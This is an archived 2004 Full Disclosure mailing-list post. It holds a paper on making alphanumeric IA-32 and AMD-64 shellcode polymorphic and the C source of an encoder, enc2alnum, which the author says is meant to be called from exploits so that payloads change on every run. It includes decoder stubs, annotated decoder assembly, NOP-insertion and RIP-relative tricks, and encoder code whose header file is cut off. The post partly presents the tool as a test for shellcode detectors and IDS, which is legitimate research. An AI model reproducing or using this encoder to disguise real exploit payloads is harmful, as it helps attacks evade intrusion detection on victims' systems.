Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

RE: On Polymorphic Evasion (attached inline this time)
From: "m conover" <mconover_001 () hotmail com>
Date: Tue, 05 Oct 2004 17:06:00 +0000

=== Addendum

Thanks for pointing out the attachment was stripped. I'll include it below. Grep "===" for each file. Sorry about the wrapping and that stuff, if u want a zip/tgz of it then just email me.

It is meant to be used in API fashion from an exploit to modify the shellcode each time it is run. Entry point is char *Encode2Alnum(input_reg, OriginalShellcode, OriginalShellcodeLength, int Verbose) and it will return a alphanumerized morphed version of the original shellcode. If you call it repeatedly you'll see the actual payload will fully change each time but the stub less so.. it does change all variable parts, but there are parts of the decoder that are fixed (e.g., the longest string is "A3A7A2B70B7B"). The solution is to add variable size alphanumeric NOPs as discussed in polymorph_alnum.txt below, but this step was never implemented.

It its current form it will only work on Windows but of course it is trivial to change it to work on Unix if u remove windows.h and add typedefs for DWORD/BYTE/etc

=== Original post

Cool. I will also add to the discussion with an alphanumeric version written
with two others for experimentation, though it is limited in it doesn't vary
the length of the decoder stubs or encoded shellcode. spoonm is doing a
separate version--I think based on Berend's alpha--that will. Also, I did
not test it against any of the different shellcode detectors like Fnord, so
I would be curious to know if anyone tries. IMO "as to whether the detection
of polymorphic shellcode was indeed an appropriate component of an IDS", I
think there is enough prior art on it that it's not really a big deal to
publish or discuss code implementing it. It most likely better to have a
variety of generators to test the effectiveness of a shellcode detector. I
added a small blurb on addtional options for OS-independence with
alphanumeric shellcode for IA-32e/AMD-64 since it adds the new RIP-relative
addressing.

=== enc2alnum/polymorph_alnum.txt

Applying Polymorphism to Alphanumeric IA-32/IA-32e/AMD-64 Shellcode
Matt Conover

Rix (rix 2001) should be credited with being the pioneer of IA32 alphanumeric shellcode and showing it is possible. His Phrack article was the first to demonstrate feasibility. What rix did could be more called a translator than an encoder. There was no fixed payload followed by a blob of encoded shellcode that needed to be decoded. In shellcode terms this was quite innovative but really blew up the shellcode size.

The next major step occurred when someone--unfortunately I don't know who--came up with a decoder that would modify the last byte of the decoder using an XOR to create a JNZ instruction and do looped decoding. This was to my knowledge the first compact alphanumeric encoder to follow rix's original translator. Both this decoder and Berend-Jan Wever's alpha decoder (Wever 2004) are based on this technique. This makes the shellcode much more compact as well. The size of the encoded output shellcode is: EncoderSize + sizeof(OriginalShellcode) * 2. Thus, it roughly doubled the shellcode size--a vast improvement over the first generation. The main limitation is that it was stack overflow specific. It was assuming that the shellcode was called immediate following a ret (and thus [esp-4] contains the shellcodes address).

Berend-Jan Wever earlier this year released an alphanumeric decoder which is now also being used in the metasploit framework. In my opinion, the main contribution of his encoder was the creation of an alphanumeric Windows-specific GetPC stub. It is using an XOR trick like the one demonstrated by Costin Ionescu (Ionescu 2003). Since that time he has made some other major contributions, primarily combining his alphanumeric decode with a Unicode decoder, thus creating the first alphanumeric Unicode decoder that I Know of

The approach we took was entirely using stubs. The assumption was that in almost all exploitation cases, it would be possible to reference the decoder relative to a register. We created a stub to represent all registers, direct or indirect, with positive or negative offsets. For example, take the case of EAX. We have a stub for each of these cases:
        EAX
        EAX+offset
        EAX-offset
        [EAX]
        [EAX+offset]
        [EAX-offset]

This is represented as:
        { EAX,
                EAXStub,
                PreEAXPositiveOffsetStub, INC_ECX, PostEAXPositiveOffsetStub,
                PreEAXNegativeOffsetStub, DEC_EAX, PostEAXNegativeOffsetStub,
                EAXIndirectStub,
PreEAXIndirectPositiveOffsetStub, INC_ECX, PostEAXIndirectPositiveOffsetStub, PreEAXIndirectNegativeOffsetStub, DEC_EAX, PostEAXIndirectNegativeOffsetStub
        },

The structure to represent each register is:
typedef struct _REG_STUB
{
        BYTE RegType;
        BYTE *DirectStub;
        BYTE *PreDirectPositiveOffsetStub;
        BYTE DirectPositiveOffsetOpcode;
        BYTE *PostDirectPositiveOffsetStub;
        BYTE *PreDirectNegativeOffsetStub;
        BYTE DirectNegativeOffsetOpcode;
        BYTE *PostDirectNegativeOffsetStub;
        BYTE *IndirectStub;
        BYTE *PreIndirectPositiveOffsetStub;
        BYTE IndirectPositiveOffsetOpcode;
        BYTE *PostIndirectPositiveOffsetStub;
        BYTE *PreIndirectNegativeOffsetStub;
        BYTE IndirectNegativeOffsetOpcode;
        BYTE *PostIndirectNegativeOffsetStub;
} REG_STUB;

These are the stubs for eax:
BYTE EAXStub[] = "P"; // push eax
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE PreEAXPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do push eax; pop ecx
BYTE PostEAXPositiveOffsetStub[] = "Q"; // do push ecx
BYTE PreEAXNegativeOffsetStub[] = "";
BYTE PostEAXNegativeOffsetStub[] = "P";
BYTE PreEAXIndirectPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do push eax; pop ecx BYTE PostEAXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P"; // do same as ecx case
BYTE PreEAXIndirectNegativeOffsetStub[] = "";
BYTE PostEAXIndirectNegativeOffsetStub[] = "Ph!!!!X*****P*a30VX5!!!!P";

Note: the remainder of the stubs is in the appendix

The only limitation here is that offset needs to be smaller than 60 or so to stay within the alphanumeric range. We then applied this to all registers (eax, ebx, ecx, edx, esi, edi, ebp, esp). So the only time this technique will not work is if the address of the decoder can not be described in terms of a register, or worse, it is unpredictable.

In the case that it is difficult to predict or describe the location of the decoder relative to a register, a GetPC trick is necessary. There is one major problem, though: there is no known generic OS-independent GetPC. On Windows this could be done using the SEH ovewrite trick, which Berend-Jan Wever's alpha encoder was doing. The biggest problem is that it is costly in terms of size. The only alphanumeric opcodes to write an arbitrary address into an arbitrary address (e.g., like the 4-byte overwrites used in heap exploits) involves the following steps:
1. Initializing a register to 0
2. XOR'ing it with some 32-bit alphanumeric address (A1).
3. XOR'ing it again with some other 32-bit alphanumeric address (A2) such that A1 XOR A2 = WhereToWrite address
4. Repeating this process to get the WhatToWrite address
5. Clear out the contents at address [WhereToWrite] by doing do write memory type XORs 6. Set the contents of at address [WhereToWrite] = WhatToWrite using another XOR

This is obviously a lot of work to get the decoder address and it doesn't work on anything other than Windows.

+++ THE MERGING OF ALPHANUMERIC AND POLYMORPHIC ENCODING

Since writing alphanumeric decoders by hand is tedious, the same encoder is likely going to be reused repeatedly. Consider these string from Berend-Jan Wever's alpha encoder: w32_SEH_GetPC_mixed_code: VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089 alpha_decoder_main_code1: VTX630VX4A0B5HH0B20BBVX2BCBH4A2AC0ACTBCQB0ACAVX4Z8BCJOM alpha_decoder_main_code2: VTX630VX4A0B4HH0B10BAVX2BBBH4A2AB0ABTBBQB0ABAVX4Z8BBJOM

Now if you were to look at metasploit 2.0 framework developed by HD Moore and spoonm, you would find the following:
VTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOM

The similarity between the two different is quite obvious. The reason? It takes time to write a good encoder, debug it, etc. Once a functional encoder is developed, it is unlikely to change much... even as it is passed among different shellcode writers. The likelihood of someone modifying the encoder is obviously inversely proportional to the complexity of the encoder. Therein lies the greatest weakness. Alphanumeric shellcode is afforded one primary advantage, however: the instruction set is difficult to distinguish from benign network traffic. Consider how difficult a task it is for a NIDS to recognize alphanumeric shellcode within the contents of a MIME via email or HTTP. It would be much too expensive to actually decode all the MIME traffic and then validate the decoded data is meaningful. Thus, a NIDS will rely on covering all known variants of the encoder.

There are basically only three steps left in the evolution of alphanumeric shellcode on IA32 that I can see:
1. Combing alphanumeric encoders with other restricted encoders
Here I mean making Unicode alphanumeric shellcode encoder, an alphanumeric shellcode that resembles sentences, etc. Berend-Jan Wever has already made many combinatinos of Unicode/alphanumeric encoders and is well on his way with the second, so I believe this step will soon be completed for the majority of useful cases.

2. An OS-independent GetPC trick
This is one of the two fundamental problems of alphanumeric shellcode encoders. I do not believe anyone will ever discover an OS-independent GetPC trick for pure IA32. There are some new possibilities with the upcoming IA-32 with 64-bit extensions that will be discussed later.

3. Becoming polymorphic
This is the other fundamental problem of alphanumeric shellcode encoders. First, the encoder cannot be fixed because this is easy to detect. Second, an input payload must result in a different encoded payload each time. Addressing these problems is the primary aim of this paper.

+++ Making the encoder polymorphic

Since alphanumeric shellcode can already masquerade well with mediums such as web traffic and email, the only real thing that needs to be addressed is to reduce the fixed part of the encoder to a size that is so small that it infeasible to use signature reliably. This was done in two steps. First, I added a pseudo-language to represent wildcard characters:
RANDOMIZER g_Randomizers[] =
{
        { '*', 0, FALSE, INDIRECT_CHARSET },
        { '!', 3, TRUE, INDIRECT_CHARSET },
        { 0, 0, FALSE, NULL }
};

Here are a few examples. First the decoder itself:
BYTE g_Decoder[] = "Zh!!!!X5!!!!H4C0B6RYkA7 () A3A7A2B70B7Bh!!!!X5!!!!4_8A7ub";

Second, a sample stub:
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";

This is the structure:
typedef struct _RANDOMIZER
{
        BYTE RandomizeKey;
        DWORD Extra;
        BOOL ReplaceNextMatch;
        BYTE *CharacterSet;
} RANDOMIZER;

Here, the first field (RandomizeKey) is the special character and the last entry (CharacterSet) indicates the character set to replace the special character with. The middle two entries are bit more difficult to explain. The second field (Extra) indicates the subsequent bytes (excluding the matched RandomizeKey) that are included. This is used to randomize them in groups. The ReplaceNextMatch is used to replace the next occurence of the RandomizeKey with the same values. This is needed for XOR keys. Thus:
push !!!!
pop eax
xor eax, !!!!

Means that both !!!! will have the same value but that each individual '!' will have a different value.

+++ Making randomized encodings

As with cryptography, it is ideal to have ensure there is little visible correlation between input and output. First, encoding the same thing twice should look no similar than two different inputs. Second, repeating sequences should not be visibile in the output. Thus if the input shellcode had a NOP slide, this should appear no different than the rest of encoded shellcode.

Similar to base64, converting from an input base of 8 bits (0x00-0xFF) to an output base of 6 bits (A-Za-z0-9) takes two bytes.

The first step is to pick an XOR key that can be used to encode every possible input key. Next, find the number of ways to do encoding. Consider what the decoder does:
        DecodedByte = EncodedByte[0] * Key;
        DecodedByte ^= EncodedByte[1];

So it is a matter of solving the reverse equation:
        for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
        {
                for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
                OriginalByte2 = EncodedByte1 * Key;
                OriginalByte2 ^= EncodedByte2;
                if (OriginalByte == OriginalByte2) matched++;
        }
        EncodingCounts[OriginalByte] = matched;

That is how the map is created. Then during the encoding, everytime the input byte is encountered, a random value less than the total number of possible encoding is chosen and that is used to select the encoding bytes. Thus, a sequence of "AAAAAA" would produce entirely differently characters for each 'A' (assuming there was more than one encoding). It would not be possible to recognize repeating patterns such as NOP slides from the output, for example.

The final decoder looks like this:
/*
// edx points the beginning of the shellcode payload (stubs+decoder+shellcode)
Z     01: pop         edx
// set eax to 0xffffffff
h!!!!   02: push        XORA
X     03: pop         eax
5!!!! 04: xor         eax,XORA
H     05: dec         eax
// change line 22 to jnz
4C    06: xor         al,43h
0B6   07: xor         byte ptr [edx+36h],al
// set ecx to point to shellcode
R     08: push        edx
Y     09: pop         ecx
kA7@  10: imul        eax,dword ptr [ecx+37h],KEY
A     11: inc         ecx
3A7       12: xor         eax,dword ptr [ecx+37h]
A     13: inc         ecx
2B7   14: xor         al,byte ptr [edx+37h]
0B7   15: xor         byte ptr [edx+37h],al
B     16: inc         edx
h!!!!   17: push        XORB
X     18: pop         eax
5!!!! 19: xor         eax,XORB
4_    20: xor         al,TERMINATOR
8A7   21: cmp         byte ptr [ecx+37h],al
ub    22: jnz         _OriginalShellcode+5Eh // changed by lines 4 and 5

_ = terminator
@ = key
!!!! = XOR_VALUES
*/

Each stub is responsible for getting the address of the shellcode onto the stack. The first instruction of the decoder is to pop the address of the shellcode and then begin operating on it.

+++ Adding NOPs

Admittedly, this is still not good enough. There is still a fairly long and distinct string in the encoder:
H4C0B6RYkA7 () A3A7A2B70B7Bh

The solution here is to add random alphanumeric NOPs of varying length at random offsets in the encoder. The only generic IA-32 alphanumeric NOPs involve PUSH, POP, INC, and DEC (alphanumeric XOR requires a memory address):
1. push reg_a; pop reg_a
2. inc reg_a; dec reg_a;
3. push reg_a
  push reg_b
  pop reg_a
  pop reg_b
  push reg_a
  push reg_b
  pop reg_a
  pop reg_b
4. #3 but with an INC before the first set of PUSH instructions and DEC after the last set of POP instructions
5. #4 but with DEC/INC reversed


+++ POSSIBILITIES WITH IA-32E AND OS-INDEPENDENT ALPHANUMERIC SHELLCODE

AMD-64 and Intel's IA-32 with 64-bit extensions (hereafter referred to as IA-32e) adds 64-bit support to the IA-32 architecture. It is the same as IA-32 with a few additional opcodes, a new opcode prefix (called REX), additional 64-bit registers (RAX, RBX, RCX, RIP, RSI, RDI, etc.), and the ability to reference 64-bit addresses (using the REX prefix). Some opcodes implicitly use 64-bit addresses and by default the operand size is the same as IA-32. This makes it possible for most IA32 code to run without any problems.

The 64-bit mode (also known as "long mode") is enabled from 32-bit protected mode by:
1. Enabling page address extensions (setting the PAE bit in CR4)
2. Setting CR3 to point to a page table with 64-bit page table entries (which must reside with the 4GB of memory)
3. Setting the LME bit in the EFER MSR (MSR 0xc0000080)

There are two important operating modes. One is compability mode, where the processor works just like IA-32--so there is no reason to discuss this mode further. The newer mode is the 64-bit mode that enables the 64-bit address space. To be placed into 64-bit mode, the following steps msut be taken.

Now, so far what I've said has little effect on writing shellcode. There is one MAJOR change, however: the creation of the RIP (64-bit instruction pointer) relative addressing mode. RIP-relative offsets (hereafter called RIP offset) are just like branch instructions. It is relative to the next instruction in memory. Thus [RIP+0] references the opcode of the next instruction.

For non-alphanumeric shellcode, this is only a minor improvement. It eliminates the need to use a "call 0; pop reg" type tricks frees up a register. For alphanumeric shellcode this solves the bigger problem of having no OS-independent GetPC ONLY IF it is not a string operation being exploited. By this I mean, it needs to be possible to have more than one NUL byte occur in the shellcode. If this is not possible, then the RIP-relative addressing mode will probably not help much. More on this later.

The REX prefix is a new opcode prefix which must come after any legacy IA-32 opcode prefixes. It is used to add various 64-bit extensions: [0] REX.B = adds 1-bit to base in (1) ModRM.rm, (2) SIB.base, and (3) opcode.reg for register opcodes with no ModRM byte
        [1] REX.X = adds 1-bit to SIB.index
        [2] REX.W = 64-bit operands
        [3] REX.R = adds 1 bit to ModRM.reg
        [4-7] Must be 0100 (4)

The REX prefixes can thus range from 0x40-0x4f. All but one of them (0x40) is alphanumeric: 0x41 = 'A', ..., 0x4F = 'O'. The possible alphanumeric REX bytes are:
        REX.W = 01001xxx = 0x48-0x4f = H to O
        REX.R = 0100x1xx = 0x44-0x47, 0x4c-0x4f = D to G, L to O
REX.X = 0100xx1x = 0x42, 0x43, 0x46, 0x47, 0x4a, 0x4b, 0x4e, 0x4f = B, C, F, G, J, K, N, O REX.B = 0100xxx1 = 0x41, 0x43, 0x45, 0x47, 0x49, 0x4b, 0x4d, 0x4f = A, C, E, G, I, K, M, O

+++ The magic '5'

The ModRM byte is broken into three fields: [mod = high 2 bits][reg = 3 bits][rm = low 3 bits]

In IA-32 (or IA-32e in compatibility mod), ModRM.mod = 00 and ModRM.rm = 101 indicates the DS:Disp32 addressing mode. That means it is a 32-bit offset relative to address 0 in the data segment. For all x86 32-bit operating systems that I'm aware, the address space is flat, so this represents an absolute address.

In IA-32e in 64-bit mode, DS:Disp32 has been replaced by RIP-relative addressing. Thus the only ModRM byte possibilities for RIP-relative addressing are 00reg101. There is just ONE alphanumeric character in this range: the magic 5. ASCII '5' = 0x35 = 00110101

Note that REX.R and REX.B have no physical affect on the ModRM byte since the additional bit is in the REX prefix Thus, '5' is always the only alphanumeric ModRM byte possible, regardless of the REX prefix (if any)

So the ModRM byte is immediately followed by a 32-bit displacement:
"<prefix bytes><opcode>5<AABBCCDD>"
Here opcode is an opcode type that is followed by a ModRM byte (not all do), '5' is the ModRM byte, and AABBCCDD is the 32-bit displacement (which should be all alphanumeric of course).

Now we've reached the most appropriate time to discuss the problem with using RIP offsets for alphanumeric shellcode that I alluded to earlier. The only addressing mode that is relative to the instruction pointer uses 32-bit displacements. The limitation this causes greatly varies depending on whether or not it is possible to send multiple NUL bytes.

For shellcode through strings (only a terminating NUL byte allowed):
The RIP offset will be between 0x30303030-0x7a7a7a7a since the offset must not contain NULs (or else the string will be terminated) and non-alphanumeric characters. The question then is whether or not this provides any advantage over using the existing possibilities. So far as I can tell, the answer is no. To make use of such large offsets you have know the approximate location of the shellcode. If you already have this information available, you can just reference the location by absolute address through a register and XOR.

For shellcode with multiple NUL bytes allowed:
If the instruction set is alphanumeric characters plus an arbitrary number of NUL bytes, then RIP offsets can make things really interesting. It is then possible to construct useful RIP offsets.

To do looping, the use of a conditional jump is necessary to decode all the encoded shellcode. This is done through self-modification. To do self-modification, the decoder previously needed to know its own address. When NUL bytes are allowed, this can be done cleanly with RIP offsets. The only instruction available to arbitrarily modify memory is XOR. These are the formats of XOR available:
XOR  [RIP+AABBCCDD], al   00110000  00110101  DDBBCCAA = "05DDBBCCAA"
XOR  [RIP+AABBCCDD], eax  00110001  00110101  DDBBCCAA = "15DDBBCCAA"
XOR  al,[RIP+AABBCCDD]    00110010  00110101  DDBBCCAA = "25DDBBCCAA"
XOR  eax, [RIP+AABBCCDD]  00110011  00110101  DDBBCCAA = "35DDBBCCAA"
                         ^- opcode ^- ModRM  ^- 32-bit displacement

Note: the 32-bit displacement is written backwards in memory because IA32 is a little endian architecture

So now lets look at what the encoder was previously doing to create the JNZ:
// edx points the beginning of the shellcode payload (stubs+decoder+shellcode)
Z     01: pop         edx
// set eax to 0xffffffff
h!!!!   push        XORA
X     pop         eax
5!!!! xor         eax,XORA
H     dec         eax
// change line 22 to jnz
4C    xor         al,43h
0B6   xor         byte ptr [edx+36h],al

So the shellcode stubs were responsible for pushing the address of the decoder onto the stack. Once the address of the decoder is known, offset 0x36 of the decoder is set to JNZ. Using the new RIP relative addressing, the decoder can be changed to:
// pop edx is no longer needed
// set eax to 0xffffffff
h!!!!       push        XORA
X           pop         eax
5!!!!       xor         eax,XORA
H           dec         eax
// change line 22 to jnz
4C          xor         al,43h
056\0\0\0   xor         byte ptr [RIP+36h],al

Since it is no larger necessary to determine the address of the shellcode, the stubs can be removed and anything referencing [edx+off] in the decoder will be changed to [RIP+off]. It will make the shellcode larger since all RIP offsets are 32-bit displacements, but it will make the shellcode OS-independent.

+++ New IA-32e NOPs

1. For certain types of instructions the REX prefix is ignored. For these cases, 0x41-0x4f can be used as NOPs. Some common shellcode cases are: POP reg, POP mem, PUSH imm8, PUSH imm32, PUSH reg, PUSH mem, PUSH reg, RET, CALL, JMP, Jcc (conditional jumps), LOOP, and LOOPcc.

When using the REX prefix as a NOP for alphanumeric shellcode, the PUSH, POP, and Jcc instructions are usable. This was well covered in rix's paper.

2. Using the operand size prefix (0x66) with REX.W set (0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f)

3. The actual value of the REX prefix byte can be varied without changing the meaning for certain instructions. I'll call these REX NOPs.

REX.R is ignored when (1) there is no ModRM byte (2) ModRM.reg does not specify a general purpose, XMM, control, or debug register. Note that for alphanumeric shellcode, only instructions involving a general purpose register are relevant.
        REX.X are ignored when there is SIB byte
        REX.B is ignored when there is no ModRM or SIB byte

4. Though it has no application to alphanumeric shellcode, some segment override prefixes are ignored in 64-bit mode: 0x26, 0x2E, 0x36, 0x3E (segment overrides for ES, CS, SS and DS, respectively)

Here is the alphanumeric instruction set that can utilize the REX prefix (0x41-0x4f) as a NOP, sorted alphabetically:
JA disp8   = "w<disp8>" (any REX prefix)
JAE disp8  = "s<disp8>" (any REX prefix)
JB disp8   = "r<disp8>" (any REX prefix)
JBE disp8  = "v<disp8>" (any REX prefix)
JNZ disp8  = "u<disp8>" (any REX prefix)
JNO disp8  = "q<disp8>" (any REX prefix)
JNS disp8  = "y<disp8>" (any REX prefix)
JO disp8   = "p<disp8>" (any REX prefix)
JPE disp8  = "z<disp8>" (any REX prefix)
JS disp8   = "x<disp8>" (any REX prefix)
JZ disp8   = "t<disp8>" (any REX prefix)
POP eax    = "X" (REX.W and REX.R should not be set)
POP ecx    = "Y" (REX.W and REX.R should not be set)
POP edx    = "Z" (REX.W and REX.R should not be set)
PUSH imm8  = "j<imm8>" (any REX prefix)
PUSH imm32 = "h<imm32>"
PUSH eax   = "P"
PUSH ebx   = "S"
PUSH ecx   = "Q"
PUSH edx   = "R"
PUSH esi   = "V"
PUSH edi   = "W"
PUSH ebp   = "U"
PUSH esp   = "T"

Note that for imm8, imm32, disp8, and disp32 all bytes need to be alphanumeric. The imm32 and disp32 are stored with the least signature byte first ("<bits0_7><bits8_15><bits16_23><bits24_31>").

When inserting a REX NOP in front of a particular instruction, the engine should: 1. First, never generate REX prefixes of 0x41-0x47 ('A' to 'G'). This will make cause problems in most cases.
2. Restrict the possible REX values depending on the instruction type.
3. Adjust the offsets in relative branch instructions. To account for the inserted REX NOPs. If the offset is negative, decrement the offset by the number of REX NOPs inserted before that location. If the offset is positive, increment the offset by the number of REX NOPs inserted after that location.

+++ ACKNOWLEDGEMENTS

Greets always to gera, oded, and noir. Kudos to rix, Berend-Jan Wever, spoonm, CLET, and the others that have/are raising the bar for alphanumeric decoders.

+++ WORKS CITED

CLET Team. Aug. 2003. Polymorphic Shellcode Engine. Phrack <http://www.phrack.org/show.php?p=61&a=9>. Ionescu, Costin. 1 July 2003. Re: GetPC code (was: Shellcode from ASCII). Vuln-Dev <http://www.securityfocus.com/archive/82/327348> rix. Aug. 2001. Writing ia32 alphanumeric shellcodes. Phrack <http://www.phrack.org/show.php?p=57&a=15>. Wever, Berend-Jan. 28 Jan. 2001. Alphanumeric GetPC code. Vuln-Dev <http://www.securityfocus.com/archive/82/351528>.

=== enc2alnum/enc2alnum.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include "enc2alnum.h"
#define ENC2ALNUM_COPYRIGHT "enc2alnum: Copyright (C) 2003-2004,\nMatt Conover, Avri Schneider, Soren Macbeth\n\n"

int reg_type; // eax, ebx, etc
int reg_indirect; // if set to 1, use [reg]; else use reg
int reg_offset; // if reg_negative is set, use reg-offset; else use reg+offset
int reg_negative;

void Encode2AlnumUsage()
{
        fprintf(stderr, ENC2ALNUM_COPYRIGHT);
        fprintf(stderr, "ERROR in Encode2Alnum (invalid input_reg)\n\n");
        fprintf(stderr, "input_reg must be one of the following:\n");
        fprintf(stderr, " reg = the register points to the shellcode\n");
fprintf(stderr, "\tSupported registers are eax, ebx, ecx, edx, esi, edi, ebp, esp\n");
        fprintf(stderr, " [reg] = reg points to a pointer to the shellcode\n");
        fprintf(stderr, "\tSupported registers are the same as above\n");
        fprintf(stderr, " reg+X\n");
        fprintf(stderr, " reg-x\n");
        fprintf(stderr, " [reg+X]\n");
        fprintf(stderr, " [reg-x]\n\n\n");
        fprintf(stderr, "\tenc2alnum [eax]\n");
        fprintf(stderr, "Example - Assumes ecx-8 is the shellcode address:\n");
        fprintf(stderr, "\tenc2alnum ecx-8\n");
}

BOOL ParseShellcodeLocation(char *reg_input)
{
        char *end_ptr, *orig_source, *source;
#ifndef TESTING
        int i;
        BYTE a;
#endif

        if (!reg_input) return FALSE;
        orig_source = source = strdup(reg_input);

        if (source[0] == '[')
        {
                source++;
                reg_indirect = 1;
        }

        if (toupper(source[0]) != 'E') goto abort;

        source++;
        source[0] = toupper(source[0]);
        source[1] = toupper(source[1]);

        if (strncmp(source, "AX", 2) == 0) reg_type = EAX;
        else if (strncmp(source, "BX", 2) == 0) reg_type = EBX;
        else if (strncmp(source, "CX", 2) == 0) reg_type = ECX;
        else if (strncmp(source, "DX", 2) == 0) reg_type = EDX;
        else if (strncmp(source, "SI", 2) == 0) reg_type = ESI;
        else if (strncmp(source, "DI", 2) == 0) reg_type = EDI;
        else if (strncmp(source, "SP", 2) == 0) reg_type = ESP;
        else if (strncmp(source, "BP", 2) == 0) reg_type = EBP;
        else goto abort;
        source += 2;

if ((reg_indirect && *source == ']') || (!reg_indirect && !*source)) goto finished;

        if (*source == '-') reg_negative = 1;
        else if (*source == '+') reg_negative = 0;
        else goto abort;
        source++;

        for (end_ptr = source; *end_ptr && isdigit(*end_ptr); end_ptr++);
        if (reg_indirect && *end_ptr != ']') goto abort;
        else if (!reg_indirect && *end_ptr) goto abort;
        *end_ptr = '\0';

        reg_offset = atoi(source);

finished:
        free(orig_source);
        return TRUE;

abort:
        if (orig_source) free(orig_source);
        Encode2AlnumUsage();
        return FALSE;
}

void UpdateOffsets(BYTE *Decoder, DWORD StubLength)
{
        BYTE OffsetA = JNZ_VALUEA + (BYTE)StubLength;
        BYTE OffsetB = JNZ_VALUEB + (BYTE)StubLength;
        Decoder[JNZ_OFFSETA] = OffsetA;
        Decoder[JNZ_OFFSETB_1] = OffsetB;
        Decoder[JNZ_OFFSETB_2] = OffsetB;
        Decoder[JNZ_OFFSETB_3] = OffsetB;
        Decoder[JNZ_OFFSETB_4] = OffsetB;
        Decoder[JNZ_OFFSETB_5] = OffsetB;
}

// For format of input_reg, see Encode2AlnumUsage
// NOTE: the caller must free the return value
BYTE *Encode2Alnum(char *input_reg, BYTE *OriginalShellcode, DWORD OriginalShellcodeLength, BOOL Verbose)
{
        DWORD StubLength, DecoderLength;
        DWORD i, j, index = 0;
        BYTE EncodedByte[2];
        BYTE *InStub = NULL;
        BOOL BadKey = TRUE;
        BYTE *EncodedShellcode;
        DWORD EncodedShellcodeLength;
#ifdef TESTING
        BYTE OriginalByte;
        BYTE *DecodedShellcode;
        DWORD DecodedShellcodeLength;
#endif

        if (!ParseShellcodeLocation(input_reg)) return NULL;

        srand(GetTickCount());
        StubLength = GetStubLength();
        DecoderLength = strlen(g_Decoder);
EncodedShellcodeLength = StubLength + DecoderLength + (OriginalShellcodeLength)*2 + 1;
        EncodedShellcode = malloc(EncodedShellcodeLength+1);
        if (!EncodedShellcode)
        {
                printf("Error allocating %d bytes\n", EncodedShellcodeLength+1);
                return NULL;
        }

        while (BadKey)
        {
                memset(EncodedShellcode, 0, EncodedShellcodeLength+1);
if (StubLength > 0 && !CopyStub(EncodedShellcode, StubLength)) return NULL;

                if (!RandomizeDecoder(g_Decoder, DecoderLength)) return NULL;
                UpdateOffsets(g_Decoder, StubLength); // TODO: remove

                // Copy decoder after stub
                memcpy(EncodedShellcode+StubLength, g_Decoder, DecoderLength);

                // Check stub and decoder
                for (i = 0; EncodedShellcode[i]; i++)
                {
                        if (!isalnum(EncodedShellcode[i]))
                        {
fprintf(stderr, "ERROR: offset %d of stub+decoder != alphanumeric\n", i);
                                assert(0);
                                return NULL;
                        }
                }

                memset(EncodingCounts, 0, 256);
                for (i = 0; i < 256; i++) ComputeEncodingCount((BYTE)i);

                index = strlen(EncodedShellcode);
                EncodedByte[0] = EncodedByte[1] = 0;
for (i = 0, j = 0, BadKey = FALSE; i < OriginalShellcodeLength; i++, j += 2)
                {
#ifdef TESTING
                        OriginalByte = OriginalShellcode[i];
#endif
                        if (!EncodeTo2Bytes(OriginalShellcode[i], EncodedByte))
                        {
                                BadKey = TRUE;
                                break;
                        }
                        assert(isalnum(EncodedByte[0]) && isalnum(EncodedByte[1]));
                        EncodedShellcode[index+j] = EncodedByte[0];
                        EncodedShellcode[index+j+1] = EncodedByte[1];
#ifdef TESTING
                        assert(DecodeToByte(EncodedByte) == OriginalByte);
#endif
                }

                // If BadKey was not reset it will fall out of the loop
        }

        EncodedShellcode[index+j] = Terminator;
        assert(index+j+1 == EncodedShellcodeLength);

        if (Verbose)
        {
                printf("BYTE EncodedShellcode[] = // encoded %d bytes\n\t\"",
                        EncodedShellcode, OriginalShellcodeLength);
                for (i = 0; i < EncodedShellcodeLength; i++)
                {
                        printf("%c", (BYTE)EncodedShellcode[i]);
                        if (!((i + 1) % 64)) printf("\"\n\t\"");
                }
                printf("\";\n\n");
        }

#ifndef TESTING
        // Check stub+decoder+encodedshellcode
        for (i = 0; EncodedShellcode[i]; i++)
        {
                if (!isalnum(EncodedShellcode[i]))
                {
fprintf(stderr, "ERROR: EncodedShellcode[%d] = 0x%02x (not alphanumeric)\n", i, EncodedShellcode[i]);
                        assert(0);
                        return NULL;
                }
        }
        assert(i == EncodedShellcodeLength);
#endif


#ifdef TESTING
        TestStubs(EncodedShellcode);

        DecodedShellcodeLength = EncodedShellcodeLength - DecoderLength;
        DecodedShellcodeLength /= 2;

if (Verbose) printf("\nDecoded %d bytes to %d bytes\n", EncodedShellcodeLength, DecodedShellcodeLength);
        assert(OriginalShellcodeLength == DecodedShellcodeLength);
        DecodedShellcode = (BYTE *)malloc(DecodedShellcodeLength+1);
        if (!DecodedShellcode)
        {
                printf("Failed to allocate %d bytes\n", DecodedShellcodeLength+1);
                return -1;
        }
        memset(DecodedShellcode, 0, DecodedShellcodeLength+1);
memcpy(DecodedShellcode, EncodedShellcode+DecoderLength, DecodedShellcodeLength);


        if (Verbose)
        {
                printf("BYTE DecodedShellcode[%d] =\n\t\"", DecodedShellcodeLength);
                for (i = 0; i < DecodedShellcodeLength; i++)
                {
                        printf("\\x%02x", (BYTE)DecodedShellcode[i]);
                        if (!((i + 1) % 16)) printf("\"\n\t\"");
                }
                printf("\";\n");
        }

        assert(DecodedShellcodeLength == OriginalShellcodeLength);
assert(memcmp(DecodedShellcode, OriginalShellcode, OriginalShellcodeLength) == 0);
        free(DecodedShellcode);
#endif

        return EncodedShellcode;
}

=== enc2alnum/enc2alnum.h
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth

#ifndef ENC2ALNUM_H
#define ENC2ALNUM_H

#include <stdio.h>
